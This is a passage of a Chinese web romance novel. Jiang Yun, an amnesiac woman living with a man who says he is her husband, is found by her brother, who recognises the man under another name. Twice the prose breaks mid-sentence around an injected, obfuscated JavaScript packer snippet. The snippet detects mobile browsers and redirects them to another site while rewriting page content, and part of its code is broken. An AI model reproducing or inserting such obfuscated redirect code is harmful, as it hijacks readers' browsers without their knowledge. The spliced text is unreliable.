江云的目光直直地落在‘睡美男’脸上,试图借他的脸来思考,可偏偏大脑靶向错了位,她的思绪跑偏了: 脑海中蓦然浮现出昨晚的情形,想起了浮于□□的‘身体本能’。 她昨天…狠狠蹂躏着这张薄唇,探进了他的占地,扫刮了令她心神荡漾的温暖和气味…… 停在唇中的舌头突然不安分,冲出来舔了舔浅红的软肉,细齿轻轻刮回来,留下若有似无的酥麻。 蜜饯的甜味又凭空席卷至脑海,江云又忆起围剿舌尖的似漩涡般的强大吸力,不仅搅得舌根发麻,甚至吸搅心脏往上跳,再猛一点,就要跳到嗓子眼儿。 喉嗓突然有些干。 江云没急着咽口水,视线被一股无形中的力量往下带。 落定在他的胸口。 江阔的睡衣完好地穿着,严严实实地挡住了那块她只摸清却没看清的地方。 他的那一块…… 跟她还是很不一样的。 触感也不同。 不过也能被她的两根手指牢牢掐住。 江云伏在他腰侧的手往上抬了抬。 大脑已经把原有的思考逻辑打乱了。 现在她只有一个想法: 想看、想再体验一把昨晚的感觉。 “在看什么?” 她的手尚在犹豫要不要撩开近在咫尺的衣衫,头顶突然飘来那道最熟悉的声音。 江云猛地收回手,身体一激灵,眼神略显慌乱地躲避,溜出嘴的话忐忐忑忑:“没、没什么啊,你醒了?” “嗯,醒了。” 昨晚他几乎整晚没睡,是到了天蒙蒙亮的时候,身体里的那点困意终于不再能被压制,他才抱着江云睡着了。 “不过一醒来…就看到有人对着我的身体想入非非。”落在江云肩上的手收紧,男人的话赶在她开口之前。 “……我才没有!” 江云下意识否认,直接翻身挣开他的怀抱。可江阔一个勾手,她又被圈了回来。 “有也没事,我们本来就是……夫妻。” 江阔的唇往上掀了些弧度,故意逗弄的话在说到‘夫妻’那两个字时莫名停顿,江云没太在意。 男人的气息重新占据她的鼻腔。 被他撞破的羞耻瞬间没了踪影。 江云仰头,望向那双眸子的视线里穿梭着零星几点雀跃。 伏在男人腰间的手攥紧,黑色的衣衫上被留下清晰的褶皱。 “那你把衣服撩起来。” 一出口,江云倏然觉得奇怪。 语气远没有自己想象得坦然、正经。 肯定是江阔把他的闷骚传染给她了。 可开弓没有回头箭,泼出去的水也不能再收回来。 江云悄悄给自己壮胆,大不了就豁出去了。 反正江阔说了,他们是夫妻! “你确定?”抓着她肩的手一紧,男人的气息明显在鼻腔内堵了片刻,才慢慢跟着话语释放。 “嗯。”他衣服上的褶皱更加明显。 “那我要我老婆给我撩。”男人收回目光,懒懒闭上眼睛。 放在她肩上的手也松开了。 一副‘任女采撷’的模样。 江云喉嗓往下咽,下巴往内收了收,胆气被眼前的画面无形壮大。 她稍微撅唇。 这是江阔主动要求的,她只是帮他实现而已。 下一秒,手指攥紧褶皱,往上一挥。 黑色的衣衫轻松被撩尽,流畅的肌肉线条破开遮挡的黑幕,一寸一寸现行。 江云喉中更涩,两只眼睛像被什么东西牵扯,很难挪移。 八块腹肌,两条伸延进裤腰带的人鱼线。 她昨天都摸到了。 合格。 太合格了。 江云的视线缓慢攀爬过那一条条难以翻越的纵横沟壑,胸腔乐队里的鼓手已经准备就绪,鼓棒肆意敲打,声音震耳欲聋。 可惜鼓手的节奏感欠佳,‘咚咚’响的频率不一,反而吵得她面红耳赤。 两只眸子好不容易越过重重阻碍,到了她最终的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965016|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目的地。 双眼本能地眯成了一条缝,嘴唇撅得更翘。 玫瑰色的幽暗停在白晃晃的肌肉中间,指腹已经开始想念残留在那里的触感。 好想摸。 “江、江阔。”清早泄尽的困顿确实没了踪影,可空气里无端混入了一丝无味的气雾,迷醉了她本就不太清醒的大脑。 声音也融进了微醺感。 江云尽量放慢呼吸频率,生怕自己醉晕。 男人的肌肉微微抽搐,从胸腔里震出一声:“嗯?” “我先跟你确认一下,你是我老公吧?”她说得一本正经。 男人却突然沉默。 江云暂时按耐住急切伸出去的手指,细齿几番辗过唇肉,等着回应。 一秒、两秒、三秒…… “不说就是默认了,老公。” 话音落下的瞬间,熟悉的触感回到指腹间。 江云侧脸贴在男人紧实的胸口,视线直逼手指此刻驾驭的那一块,她的脸只要再侧一点,她就能亲上。 爽。 有个姿色和身材兼具的老公真爽。 指腹又忍不住收紧,把那一小块捏紧。 头顶突然一声闷哼。 江云却不以为意,捏得更紧。 嘴唇抿成直直的一条线,舌尖的水分早已蒸发完全。 她好想亲。 这里亲起来会是什么感觉? 然而想象还没来得及往下延伸,她突然被江阔钳制了四肢,手指好不容易尝到的甜头没了。 江阔紧扣着她的肩窝,脸上的温柔被无形的挡板隔绝,空气里的气雾突然爆破,炸散了微醺的醉意。 男人的神色又变得认真。 那颗黑色耳钉也好似浸了点锐光,略显严肃。 江云以为他生气了。 本能思索自己是不是玩过了。 胸腔里的鼓手找到了节奏,力道却半分未减。 可迎面灌入喉中的是那杯熟悉的醇滑拿铁,“这次可是你说的。” 江云没听懂。 “我说什么了?” “老公。”江阔只说了这两个字。 她跟着他的节奏走,大脑像是成了单核处理器。 眼珠微微瞪起,试图在他的眼底找到令她困惑的答案。 可惜的是,并没有。 江阔又说:“既然认定我是你老公,不管怎样都不能反悔。” 江云恍然明白。 原来还是这个问题。 她笑得有些勉强,又混杂着无奈:“我当然不会反悔啊。” 恋爱脑还要她说几次呢? 是他也没有安全感? 那她要做点什么让他有安全感? 江云的思绪又飞远了,江阔再次把她拉回来:“你保证。” 江云从鼻腔里震了口气,直接举起手,竖了三根手指在他眼前:“我发誓好不好?只要你能认定我是你老婆,我当然也能认定你是我老公。” 江阔突然捏紧了她的手,收起了那三根手指。他低头,额头抵在她的手背。 江云只能感受到他洒出的热气。 “发誓就不用了,云云,我只是想,不管以后发生什么事,你都能给我一次机会,给我留一个余地,因为我不想失去你。” 暧昧的气氛散尽,江云没想到江阔又开始煽情。 他是真的很没安全感。 她必须得做点什么才行。 她拍着男人的肩安慰,语气带着她自己也没意想到的笃定:“只要你不想失去我,你就永远不会失去我。” 江阔不知道是否听懂她的意思,只低着头,一言不发。 江云已经无心再去留恋□□带给她的浅表欢愉。 她抱着男人,也不说话,只是更想快些恢复记忆,盼望着和他拥有最真实、最全面的灵魂共振,想回忆起能为他做些什么最有效,想能在第一时间扫去他的担忧和顾虑,就像他对她自然而然的温柔那样。 而被她抱着的男人也怀揣着不能被发现的小心思:他希望时间能过得慢一点,他们也不要那么快恢复记忆,他不要去想那些仇恨,只要多跟她在一起的时光。 27. 26 绵长的温馨过后,两人终于起床。 吃完早饭,江晴叫了两人去工作室选照片。 江云正好带上订婚礼物,打算先给江晴。 “你们俩也太客气了,我们俩订婚就是想着热闹!”嘴上虽然这么说着,但江晴在拿到礼物的时候还是乐得开了花。 江阔选的是一对琉璃龙凤盖碗,看上去既不俗气,又很实用。 江阔说他们订婚也算是人生大事一件,礼物虽然称不上贵重,但也是他们的一份心意,就跟他们的礼服一样,带着美好的祝愿。 “行,那我就收下了啊!”江晴收好了礼物,让他们过去选照片。 江醇的朋友早已连好内存卡,里面数百张照片也准备就绪。 屏幕画面跳转时,江云很快捕捉到了她和江阔的身影。 心口本能地涌出一股热流,轻轻灼了两下眼神经,眸光有片刻凝滞。 她昨天没看成片。 还以为江晴昨天说的让他别总看她过于夸张,可现在看去,江晴说得还是太委婉—— 几乎每一张照片,江阔的视线都落在她身上。 甚至连他们抱着白白拍的那几张,江阔的头都往她这边侧。一张都没有看镜头。 江晴和江醇挑选照片的声音已经响起,江云却浑然不顾,目光直愣愣地看向身侧的人。 侧眸的瞬间,她再次撞进那双熟悉的瞳眸中。 胸腔里的鼓手再次躁动不安,拿着鼓棒的双手失控一般,狠狠敲打着鼓面,余波震得耳膜微微发疼,也震得胸腔紧缩。 他竟一直如此吗? 在无数次镜头捕捉到的瞬间,他的眸光都一直追随着她。 那没有镜头的时候呢? 他又这样看过她多少回? 就比如……现在。 从胸腔震起的余波窜行至大脑,掀动了尚且平静的脑波。 江云倏然想起他昨天的提议。 “我们要不要在这里办一场婚礼?” 她也有点想了。 反正他们都已经穿着订婚礼服拍了照片。 再办场婚礼也不算什么。 既然暂时想不起过去,那就和他一起创造当下好了。而且婚礼说不定能给他安全感。 “我们……”江云思索得太过专注,完全没注意到身前画面中的主体已经成了他们两人。 声音也被江晴盖了下去:“江云,该你们啦!” 后面的话,江云失去了说完的机会。 短暂的停顿后,四目同时移开,江云的注意力回到了照片上。 嘴唇无意勾了勾。 算了,晚上回去再说吧。 不同于梦中婚礼墙的奢华,这些照片大多简单朴素。 主体性不那么冲击眼球,反而像清澈温和的海浪,激起小水花后还残留着绵长的余韵。 前劲不大,后劲十足。 江云率先选中了那几张她和江阔对望的照片。 那几张最像照片墙中画面的照片。 金光粼粼的海蓝前,江阔从身后抱着她,视线缠绵地垂下,她仰头对上,唇边残留着没来得及平下的笑意。 …… 洱南市机场。 傅淮湛脚步匆忙地出了廊桥,助理急匆匆地跟上。 “傅总,我已经提前准备好车,就停在门口。” 傅淮湛嗯了一声,调出手机里的位置信息,下方显示有文字:距离目的地56公里,预计一小时十分钟到达。 门口的停驻的黑色迈巴赫吸引了路过的行人频频转头,助理快速跑到车边开了门。 傅淮湛一脚踏上车,助理也不敢怠慢,迅速坐进驾驶座。 “开快点!” …… 他们的照片选完了。 算下来大概有个百十来张。 江醇的朋友了解他们的情况,特地拿了一个空u盘过来,把两人的照片全拷了进去。 江云习惯性地把u盘给了江阔保管:“等咱们回家,这里头的照片可以洗出来摆在客厅!” 他们的家里,就又丰富一些了。 江阔的手微顿,对她扬了唇,收好了u盘。 关了电脑,他们回到萍姐的饭店吃饭。 江晴说休息半个小时,下午他们去选点合适的音乐。 江阔拉着江云先回了房换药。 正如江云感知到的那样,她背后的伤确实好得差不多了。 这一次药膏敷完之后,应该就能取下纱布了。 “江阔,我都已经不疼了,你动作就不用这么轻了。” 江云是觉得背上的力道轻若羽毛,涂抹的速度比乌龟都慢。 后腰的手有片刻停顿,他“哦”了一声,语气有些漫不经心,像是早早地出了神,手里的动作依旧维持原样。 江云已经习惯他的‘坚持’,说一次劝不动她就不会再劝。 干脆在漫长的换药时间里开启了别的话题。 她继续着上午没能说出口的话:“江阔,等江晴订完婚,我们就在这里办一场婚礼好不好?” 腰背上的动作戛然而止。 江云等着他的惊讶。 然而身后沉默了很久,江云只听到了他逐渐加重的呼吸声。 她转头,男人还保持着给她换药的动作,双眸下垂,她也看不清他的情绪。 只能瞥到他手里微微发抖的小药盒。 “江阔?” 男人又是一颤。 终于转眸,慢悠悠地对上她的视线,眸光却稍微散开,不在状态。 “你不想吗?”江云又问。 “想!”他毫不犹豫回答。 江云松了口气,下巴重新搁回手臂上:“那你怎么犹豫半天?” 她的尾音轻轻上扬,几乎能会意,恋爱脑是被兴奋冲昏了头脑,没能很快回神。 “我…我不是犹豫,是太意外了,没想到你会突然提这件事。” 江云闭上了眼,唇边的弧度扬得更深。 果然如她所料。 “我是觉得,咱们反正都拍了那些照片了,索性也不怕麻烦了,而且你不是说了,既然不记得以前,那就重新办一次婚礼。”她解释。 再办一次婚礼,他总能有安全感了吧? 男人暂时没出声,手上的动作却加快,三两下抹匀药膏,又整整齐齐地贴好纱布。 最后着急忙慌地坐回床沿,精准地抓牢她的手,仿佛再晚一秒,她就要后悔似的。 “你说真的?”他的声音都隐隐发颤。 江云实在没忍住笑:“当然是真的,江先生,你好像很不相信我的话啊?我就这么让你没有安全感吗?” 这话江云是故意调侃的,也是借着开玩笑,想套出他的想法。 “我没有。”男人的手攥得更紧:“我只是想多确认几次。” “我的安全感就是你,只要你在意我,我就会有安全感。”他补充,声音却颤得更厉害。 江云头一回见闷骚怪这样紧张。寻常都是她被他撩拨,他虽然脸红,但也不见得这样紧张。反倒是一场婚礼让他现了形。 江云心底攀起陌生的欣快感。 可她也能说 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江云点头:“民族特色婚礼,你不觉得很与众不同吗?而且说不定还能被气氛渲染,想起点以前的事来。” 更重要的,也许这场婚礼就是他们在江渔村这一个多月生活的正式落幕。 之后,他们就要离开了。 或许,她再也不会有这样一段奇妙的时光。 江阔的唇抿成了一条线,又骤然松开,他垂下眸,盯着她的手看了好一会,才重新抬眸,用着他熟练的肯定语气:“好,云云,我们…就办那场婚礼!只要你愿意和我一起做的事,我无论如何都会遂了你的愿!” 江云最终没能绷住嘴角,咧唇笑出声。 恋爱脑的这番话再次打动了她。 只要她愿意,他无论如何都会遂了她的愿。 还得是恋爱脑。 江云张开手臂,主动抱了男人。 她没说话,就只是抱着他。 她愈发欣喜,欣喜自己看中的男人是他。 也无比庆幸,庆幸这段奇妙的时光里有他。 她会和他一起期待、一起等待,在他们的这段时光正式落幕时,告诉他最想听到的答案。 …… 下午的工作室,只有江云被拉过去了。 江阔说他先帮萍姐收拾店里,晚一点再过去。 萍姐本来说了不用,但江阔依然坚持。 最后萍姐也由着他了。 工作室里,江云靠在旁边的沙发上,舒舒服服地喝茶。 江醇答应她,等江阔来了就给他们煮三道茶。 电脑连的小音箱里正放着曲风相似的歌。 不像寻常的婚礼进行曲,江晴和江醇选的都是有他们民族特色的歌。 “这首好听,如果结婚的话是不是也能用?”江云用胳膊肘顶了顶身旁的江晴,普洱茶的醇香还留在喉嗓。 江晴点头,说当然可以,又很快会意:“你有想法?” 毕竟触景就容易生情。 她之前去给大学室友当伴娘的时候也曾幻想她以后结婚的模样。 江云笑了笑,没想到这么容易被看穿,但想来不是什么不好的事,坦荡承认:“是有点想法,我和江阔打算……” “你好,请问您知道这个饭店该往哪儿走吗?” 江云的话被突然闯进来的一道低沉急切的男声打断,根本没来得及说完。 28. 27 闻声,视线交触的两人同时移开目光,齐齐转向门口。 江醇的回应还悬在嘴边,男人却率先锁定了往门口扫去的那道目光。 隔着几米距离,江云清楚地看到男人的瞳眸狠狠一颤。 他的目光扫过来,江云仿佛被一股无形的力量扼住了喉咙,下意识屏住呼吸。肩颈猛地绷紧,本能地往后一缩。 还没来得及会意,男人已经一步跨过门槛,长腿带风,猛地撞开了险些凝滞的空气,朝着她冲过来,不管不顾地把江醇的回答抛在脑后。 “珺珺?!” 话音落下时,男人的脚步同时撞到她跟前。他猛力抓住她的肩口,五指攥紧,气息不稳地又问了一遍:“珺珺!真的是你?!” 他的声音像是从远处猛烈翻滚而来的浪花,狠狠拍打在礁石上,尾音带着明显的颤抖。 江云本能地抗拒男人的动作,可他的手掌却像坚固的铁链,将她牢牢锁住。 “你、你是?” 肩口被捏紧的压痛迅速沿着神经传递,江云紧蹙着眉,两只手环抱挡在胸前,声音稍微颤抖着问。 “珺珺?”男人眼睛眯起,一双剑眉深深拧紧,像两把锋利的刀刃横在眉骨。他手上的力道更重,头也偏向一侧。 江云没忍住,低低‘嘶’了声。 江晴起身一个挡臂,用力甩开了男人莫名紧攥过来的手,挡在江云身前,声音压低:“这位先生,如果你要找饭店,直接拿出信息问就好了,不要动手动脚!” 站在门口的江醇也迅速横步过来,把男人推远了些。 “先生,请你自重。” “我要找的就是她!”男人重心不稳,连连往后退了几步,神色却如旧,一双黑眸只顾瞄准那道他锁定的身影。 “珺珺,我总算是找到你了!珺珺,我是哥哥啊,你不记得我了?!” 隔着两道人影,男人的视线从缝隙中穿过来,精准对上江云的眸。 江云的肩颈狠狠一僵。 肩口残留的压痛好似重新席卷,她的双眼瞬间瞪大,不可置信地回望着男人。 哥哥? 她的哥哥? 珺珺? 江晴和江醇也同时一愣,江晴瞪眼睨了眼男人,又迅速转头,稍稍错愕道:“江云,你记得你有哥哥吗?这是你家人找过来了?” 江云大脑瞬时一片空白,也无心去思考江晴的话,更没能给她回应。 “珺珺!”男人再次大呼。 那声音像是穿石的惊涛,凶猛地拍进了江云的身体。浑身的脏器有一瞬仿佛坠入了深海之中,徘徊在溺亡的边缘。 江云猛地激灵,震散了波涛,奔涌的水花沿着全身脉络蒸发,余浪却悄悄渗进了血肉,激出了阵阵酥麻。 她继续凝着眼前这个男人,唇边下意识溢出一声:“哥哥?” 男人的五官,好像跟她确实有几分相像。 她的一声哥哥,男人便什么都不顾,轻手推开阻挡在他和她之间的两人,重新捏紧她的肩口,几番点头:“对!我是哥哥啊珺珺!你怎么了?真的不记得我了吗?!” 男人的语速很快,手上的力度也失了控,又忍不住前后摆动,江云的肩随着他的动作难以平静。 “好疼。”江云瘪着唇,本能地抵抗他的动作,嘴上也跟着反抗。 男人这才意识到自己没把控好,及时松了手:“抱歉。” 江云揉着发疼的肩角,眼皮上下翻动,几番打量男人。 她这才注意到,男人熟悉的穿衣风格—— 纯黑色的手工定制西装从内到外都透着一股子冰冷、严肃的味道,领带和袖扣打理得一丝不苟,甚至连头发丝都像是经过了严格训练那般,整齐利落地梳理上去,没有一根掉落。 跟她的那套紫色西装有得一拼。 这是他们家祖传的穿衣风格? 也太不适合她了。 不过江云并没有花很多时间去思考穿衣风格的问题。 她看着那张和她相像的面容,心底冒出一丝惊喜—— 她被找到了。 她被家人找到了。 在他们失踪一个多月之后。 在他们即将离开之前。 昨晚,她还在和江阔忧虑回家的事。 今天,她的哥哥就已经找上门来了。 肩口揉进了男人紧张注视的眸光,疼痛慢慢消失。 江云松了手。 不急不缓地朝男人解释:“我…不记得以前的所有事了,你说你是我哥哥,请问有什么能够证明的吗?” “什么?”男人的眉头拧得更紧:“你是说你失忆了?!” 他的手臂再次扬起,精准地抓牢江云的胳膊。 江云下瞟了眼,点了点头:“是,我失忆了,所以……如果你是我的家人,能不能拿出什么东西来证明?” 男人盯着她沉默了两秒,禁锢她的力度再次加重。 江云再度反抗,男人却提前松了手,迅速掏出手机,直接翻开了手机相册,点开照片后,把手机递到她面前。 “这张照片够不够?这是你硕士毕业的时候,我陪你参加毕业典礼留下的。” 江云接过手机。 照片里的男人穿衣风格依旧,一身低调的黑色西装,男人身旁,是穿着硕士服的‘她’,蓝衣灰领,长发披在肩口,陌生又稍显强势的眸光穿透镜头,嘴边溢出的笑沉稳低调,和男人几乎如出一辙。 江晴和江醇也看到了照片里的她。 “江云,这真的是你啊!”江晴道。 “江云?”男人又看向她,满眼狐疑。 江云继续着手机屏幕,解释:“是我失忆后的名字。” 隔着屏幕和‘她’对视,江云无端忆起那本书。 《无声告白》 还有那道苍老威严的声音:“你是我选定的继承人,我不希望你像你哥一样,明白吗?” 江云捏紧了手心,指甲慢慢嵌进掌肉。 她移开视线,对上男人紧张的目光。 “所以我的本名叫什么?”江云问。 男人紧拧的眉终于平展,迅速回答:“你叫傅珺瑶,珺瑶都是王字旁,我是你哥哥,叫傅淮湛,爸妈说我们兄妹俩的名字一个是美玉,一个是湛水,水润玉而辉、玉出水而盈,有这一层寓意。” 傅珺瑶。 江云在心底默念。 手肘一弯,捏住了颈前的竹音哨。 所以这个‘y’是瑶。 所以她和江阔的定情信物是真的。 “那你怎么会突然找到我?”江云又问。 “你的手机定位。” 江云一愣。 手机定位? 傅淮湛退出了相册界面,找出助理发给他的定位系统,重新送到江云面前。 解释:“你的手机之前一直处于关机状态,但前天突然开机了,我昨天找到了你的位置,连夜从淮北赶来,幸好你真的在这里!” 江云只听到前半句。 前天?突然开机? 江阔不是说那两部手机没有修好吗? 眼前清晰地出现了精准的定位信息。 就在萍姐的饭店。 所以也就是……家里? 到底是怎么一回事? “珺珺,你到底发生了什么事?怎么会突然来洱南?又怎么会失忆了?你知不知道家里人都很担心你啊!” 江云还没来得及往下思考,便被傅淮湛的话语打断,肩上的束缚感再次回笼。 江云的眸子闪了闪,脑中突然有些混沌。 她看着眼前的男人,身体陡然像是回到了她在这里刚醒来的那天,想到了那个自称她老公的陌生男人,想起了那种茫然无助的空虚感。 心脏不知怎的,自顾自地慢慢下沉。 江云连着做了几下吞咽动作,嘴唇机械性地启合,声音有些发虚:“我…我不记得了,我也不知道为什么我会到这里,我和江阔是在海滩边被发现的,一连昏迷了好几天,醒来之后什么都不知道。” 她的语速很快,身体本能地着急,急着把话解释清楚,可大脑却还停留在手机定位上。 她的手机为什么会开机? 是江阔修好了手机没告诉她? “江阔?”傅淮湛稍微俯身,主动对上她的视线。 江云骤然陷入沉默。 她想回答,可身体却莫名不遂她的意,嘴唇只顾轻颤,喉嗓像是被人死死掐住,一个音节都发不出来。 工作室内突然安静下来,连音箱里顺序播放的音乐都停了。 江晴和江醇在一旁静等着,没往里掺和。 江云被男人的目光盯得稍微发怵,脑袋轻轻点了两下。 一阵熟悉的风吹进来,裹挟了从男人周身散发的压迫感,强势地卷走了她呼吸道里的水分。 等她再开口时,声音接近嘶哑:“他是我老公。” “老公?!”她的话音还没完全落下,尾音被男人强烈的惊讶覆盖。 落在她肩上的束缚感更甚,皮肉被压紧的疼痛仿佛要把她的身体震散架。 江云的心脏一沉再沉,盘旋在心头的空虚比任何一次都来得强烈。 她慢慢蹙眉,语气愈发没了底,艰难地从喉间挤出一声“嗯”。 “珺珺,自从我回家之后,就没听说你交过男朋友!” 江云心口一震。 停驻在那块占地的鼓手像是失了控,节奏和力道浑像脱缰的野马,四面八方乱奔。 江晴倒吸了口凉气,悻悻转头,和江醇对视。 江云的手瞬时捏紧,双眸盯着眼前的男人,魂魄仿佛被扔到了四下无人的荒漠地带,只有一具空壳站在这里。 不、不是。 她都已经有了所谓的‘身体本能’,她和江阔之间…至少是有感觉的。 江云用尽了全身气力,好不容易咽了下口水,在荒漠中触到了救命稻草般的水源。 心脏却还在持续下沉,好似下面有一汪深寂的黑潭,黑潭中心盘绕着一道吸力极深的漩涡,那力道无形中便将心脏狠狠下拽。 她甚至看不到底。 一股莫名的恐惧从那不见底的黑暗深处悬起,须臾间,那股浓烈的黑雾已经将整颗心脏完全包裹。 没事的、没关系的。 江云默默道。 或许她只是没告诉家人而已。 也可能是她和江阔的感情还没发展稳定。 她已经无数次预设过了,就算他们不是夫妻,也一定是对恩爱的情侣。 就算…就算是最坏的打算,他们没有关系,他们还没在一起,那现在…他们已经在一起了。 中午…他们还说要办场婚礼。 没关系的、没事的。 傅淮湛的剑眉拧得更紧,恨不能将眉心的皮肉夹散。江云猛地眨了数十下眼皮,眼前的人都快出现重影。 “珺珺,你是不是被人欺负了?!”男人捕捉到她慌乱的眼色,手掌合得更紧。 肩上的压痛凶猛地穿透她的血肉,直抵骨骼,只要再用力一点,她一点不怀疑男人能将她的骨头捏碎。 “好疼!”出于身体本能的反应,江云两手同时捏着男人的手腕,使出最大力气甩开他。 她往后退了好几步,和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979548|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人隔开些距离,手心搭在肩头慢慢揉散痛意,只是胳膊不听使唤地微微发颤。 她蹙眉斜眼看过去,解释:“我没有被欺负,这段时间,都是他一直照顾我。” “他也失忆了,但他人很好,温柔细心,也很有分寸。” “也失忆了?”傅淮湛眼底闪过狐疑,面色稍稍发白。 肩口的皮肉受了气,揉了半天都难安慰好,继续撺掇着骨骼一起叫嚣。江云强忍着痛,没好气地点了点头,又说:“而且这段时间我们流落至此,多亏了这里的萍姐救了我们,这位是萍姐的女儿,如果你真的是我哥哥,就麻烦你能够尽量补偿一下他们。” 傅淮湛被江云牵着视线看向江晴。 江晴连忙摆手,说出门在外,大家互相帮助也是应该,况且江阔都在饭馆帮忙了。 傅淮湛沉默了两秒,又挪回视线,走到江云身边。 这一次他没有再掐她,只是轻轻揽住她的肩,说:“他人在哪?你先带我去见见,还有你说的萍姐。” 江云也是这个想法。 肩背陡然窜进他稍显温和的热意,不再有强烈的压迫感,江云抿了抿唇,没有推开他。 只是耳边持续不稳的节奏尚未缓和,江云的动作一慢再慢。 她叫了江晴一起回去。 还是熟悉的那段路,江云却比上一次走得慢得多。 每往前踏一步,她的心里就多了分不安。 没关系的、没关系。 她喜欢江阔的。 如果他们之间没有名分,她就给他个名分好了。 不过就是距离那个梦境相差一点点而已。 她没必要失落的。 现在没有的,他们以后都会有。 眼下最重要、最值得开心的,是她的哥哥找到她了,她的家人找到她了。 她和江阔找到家了。 他们能回家了! 她叫傅珺瑶、她叫傅珺瑶! 也许马上也能知道江阔的本名。 她不断做着心理暗示。 至于到底起了作用没有,她也说不清—— 她的心跳从没这么乱过。 江云盯着前方已经露出半角的熟悉建筑,脚底越来越虚浮。 那汪黑潭一瞬涨大,飞快地往四周蔓延,不过几秒,她便再也看不到边际。 没事的、一定没事的。 她和江阔那么有默契,江阔那么喜欢她、那么照顾她,她还需要犹豫什么、担心什么呢? “江萍饭馆。”傅淮湛突然开口。 江云脚步一顿,抬头,熟悉的招牌很快闯入眼底。 “是这。”她的声音持续嘶哑。 “妈,来客人了!”江晴率先走了进去。 江云想要迈进去的腿突然停顿,像是灌了千斤重的水泥,她难以抵抗那股力。 “江阔不在吗?”江晴的声音从里头飘出来。 江云的身体下意识一抖,双眸愣愣地直视前方。 很快,萍姐和江晴都从后面出来了。 “小云。”萍姐依旧笑颜热情,她的目光礼貌转向她身旁的男人:“这位是?” “是江云的哥哥,说是用她的手机定位找到这来的。”江晴小声解释。 闻言,萍姐嘴角的弧度更深,完全是发自内心的惊喜:“真的?小云,这真是你哥哥啊?” “您好。”傅淮湛伸了手出去:“听说是您救了我妹妹,非常感谢您,稍后我的助理会过来,感谢您的一点心意请您务必收下,这段时间麻烦您了。” 萍姐伸手简单地回握,又很快摆手:“您不用客气,我是看他们小夫妻俩有缘!” 萍姐说到‘夫妻’这两个字时,傅淮湛的手僵了僵,视线回到江云身上。 江云却浑像没看见,只一瞬不瞬地盯着前方,心跳的节奏像是被煮沸的酸汤,她根本算不准下一次的‘冒泡’是在哪个位置。 幸好傅淮湛还揽着她,借了她力,她才不至于往后倒去。 强烈的声响已经震到了嗓子眼儿,江云艰难地挤出那几个字:“萍姐,江阔呢?” 声音越来越抖。 “他在房间呢,你们直接回房间去找他吧!”萍姐往小院的方向指。 “走吧,我陪你们去。”江晴主动道。 江云迟迟没有迈腿。 “怎么了?”傅淮湛盯着她问。 “走不动了?我背你?”他瞥向她的腿。 江云瞬间摇头:“不用!” 视线缓慢地上抬,脖颈稍稍僵硬地带动脑袋偏转方向,看向他们房间的位置。 意识不停和身体对抗,江云看着前面江晴的身影,双腿逐渐迈得机械。 一步、两步…… 很近了。 他们的房门近在眼前了。 “江阔。”临近房门口,江晴突然朝里叫:“江云的哥哥来了!” 后半句出口时,房间门恰好从里打开,江阔的长腿略微不稳地跨过门槛,下一秒,他的身影从房间里出来,没了半分遮挡,双腿却往下软了一瞬,险些没站稳。 江云好不容易对上那道能让她产生安全感的深褐色瞳眸,那双眸子却骤然移开。 她看到那两颗眼珠瞬间紧缩,一直盘绕在她体内熟悉的黑潭接踵而至,迅速占据他的眼底,即将往他体内蔓延。 她竟不知道,他们默契到了通感的地步。 江云的心脏几乎在同一刻被漩涡吸绞,抽起难忍的疼痛。 “沈述白?!”耳边倏然轰起那道裹挟满了震惊和愠怒的声音,凶猛地炸开了那黑潭。只须臾,一切便坠沉入黑底,万劫不复。 29. 01 江阔在听到那个称呼之后浑身明显一震,不过短暂的出神,便又躲开了傅淮湛的视线,将那双眸子迅速移回来。 深褐如旧。 江云的双腿却下意识后退两步。 完了…… 他有事瞒着她。 他真的有事瞒着她。 好陌生的眼睛…… 好陌生。 比她醒来那天看到的还要陌生。 院子里的太阳被房檐遮挡了大半,他们几个人都站在阴影中。只有他右耳的那颗黑色耳钉,暴露在阳光下,却没有一丝温和,充斥着幽暗的冷光,甚至隐隐带有一丝敌意。 不会、不会的。 “云云,你怎么……”江阔完全忽略傅淮湛的怒视,走上前,发颤的双手前伸,连声音也无可幸免地抖了起来。 可他话没说完,手臂便被一道更强势的力量堵住。 江云垂眸,傅淮湛不偏不倚地横着胳膊,稍微侧过来的身体挡住了她能够看到的最后几缕阳光,强烈的压迫感顺着冷肃的西装蔓延出来,在咫尺近的距离间生出了一堵坚固的墙,隔绝了她和江阔。 “你干什么?!”傅淮湛语气中的愠怒未消。 又转头看向江云,眉头拧紧,质问:“珺珺,你说的那个失了忆的老公,就是沈述白?!” 沈……述白。 江云在心底默默重复,大脑却是一片空荡。 只能反应过来哥哥声音里完全不可忽视的怒气。 黑潭涨大得愈发快,吸力强到她完全没了挣扎的余地,有一瞬,江云好像陷入了无声无息的黑暗,那黑色的浪潮迅速将她扑溺,她连呼救的机会都没有。 她突然好想离开。 她不想江阔再开口说一个字,也不想听到从傅淮湛嘴里再说出来一个字。 她不想听。 她不想知道。 什么都不想知道! 可跟前的两个男人,都没有给她这个机会。 “云云,你…你知道什么了?”江阔手上的动作没停,继续前伸,却在每一次都被傅淮湛拦截,根本没有一丝碰到江云的机会。 江云抬眸,重新看向那双这数十天里唯一让她心安的眸子。 她的肩突然一松,可刹那间,浑身上下的肌肉全部绷紧,同时收到指令般,猛力往内缩紧,如山崩海啸般强势挤压那206块可怜支撑的骨骼。 